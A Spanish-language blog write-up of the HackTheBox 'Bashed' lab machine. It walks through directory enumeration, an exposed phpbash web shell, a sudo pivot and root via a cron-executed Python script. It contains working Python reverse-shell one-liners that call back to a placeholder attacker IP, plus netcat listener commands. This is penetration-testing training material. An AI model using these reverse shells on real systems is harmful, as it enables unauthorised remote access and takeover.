Home HackTheBox Bashed
Post
Cancel

HackTheBox Bashed


Machine IP: 10.10.10.68

DATE : 13/06/2021


Reconocimiento

Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.

Nmap

Como vemos solo el puerto 80 está abierto, así que investigaremos en la web para ver si encontramos algo interesante

En la web no encontré nada :,c, pero phpbash me da una pista.

Como vemos es un frontend normal,pero el nombre php bash es algo sospechoso al parecer no muestra directorios, por eso le hacemos un brute force para enumerar los directorios con gobuster.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(s4yhii㉿kali)-[~]
└─$ gobuster dir -u http://10.10.10.68  -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 200                                                               1 ⨯ 2 ⚙
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/13 03:44:34 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]   
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]   
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]   
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]    
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]

Como vemos nos arroja muchos directorios, examinando cada uno de ellos pude encontrar algo interesante en /dev, dos archivos con el nombre de la pagina en si phpbash

Al abrir el segundo archivo nos carga una shell con el usuario www-data , buscamos el archivo user.txt con el siguiente comando

1
find / -type f -name "user.txt" 2>/dev/null

y bingo, lo encontramos, ahora a tratar de obtener una shell interactiva para poner comandos basicos.

Primero intentaremos ver si hay algunos binarios con permisos SUID para ejecutarlos con permisos root, para eso usamos en comando:

1
sudo -l

Vemos que el usuario Scriptmanager puede ejecutar cualquier comando en su sesion, entonces vamos a invocar una shell en nuestra maquina con netcat, por el lado de nuestra maquina usariamos el comando

1
nc -nlvp 4448

Y por el lado de la phpbash, ejecutamos el siguiente comando para establecer una shell reversa con python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("nuestraip",4448));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

Y así quedaria nuestra shell, luego nos logeamos como scriptmanager con una shell bash con el comando

1
sudo -u scriptmanager /bin/bash

Luego hacemos el tratamiento de la tty para que nuestra shell sea interactiva con los siguientes comandos

1
2
3
4
5
6
7
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=screen-256color 
\[Ctrl Z\] 
stty raw -echo 
fg 
\[INTRO\] 
export TERM=screen

Escalamiento de privilegios a root

Haremos un ls al directorio raiz y encontramos un directorio llamado scripts con solo permiso para scriptmanager, entramos para ver que archivos o directorios interesantes tiene.

Como vemos hay un archivo test.py que pertenece al nuestro usuario y un txt que pertenece a root , cuando nos encontramos con estas situaciones, debemos considerar que una opción es que hay tareas cron o automáticas que se realizan cada cierto tiempo, por eso en esta caso el script está siendo ejecutado como root, ya que el archivo que está escribiendo es propiedad de root, también al revisar que la fecha de creación del archivo va cambiando, podemos afirmar que cada minuto se actualiza el test.txt.

Entonces tenemos que buscar que el archivo test.py contenga código malicioso para que cuando se ejecute podamos establecer una shell reversa en nuestra maquina con root.

Abriendo un servidor web para pasar mi archivo test.py con el siguiente código, que es el mismo que utilizamos para invocar la shell reversa, pero sin las comillas y el python -c , ya que todo irá dentro del archivo.

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("tuip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Luego de descargar nuestro archivo, pondremos en escucha nuestra máquina con el puerto al cual asignamos en el test.py y obtendremos la shell como root.

!Bingo, obtenemos sesión como root y podemos leer el root.txt

Gracias por leer.

This post is licensed under CC BY 4.0 by the author.

-

HackTheBox ScriptKiddie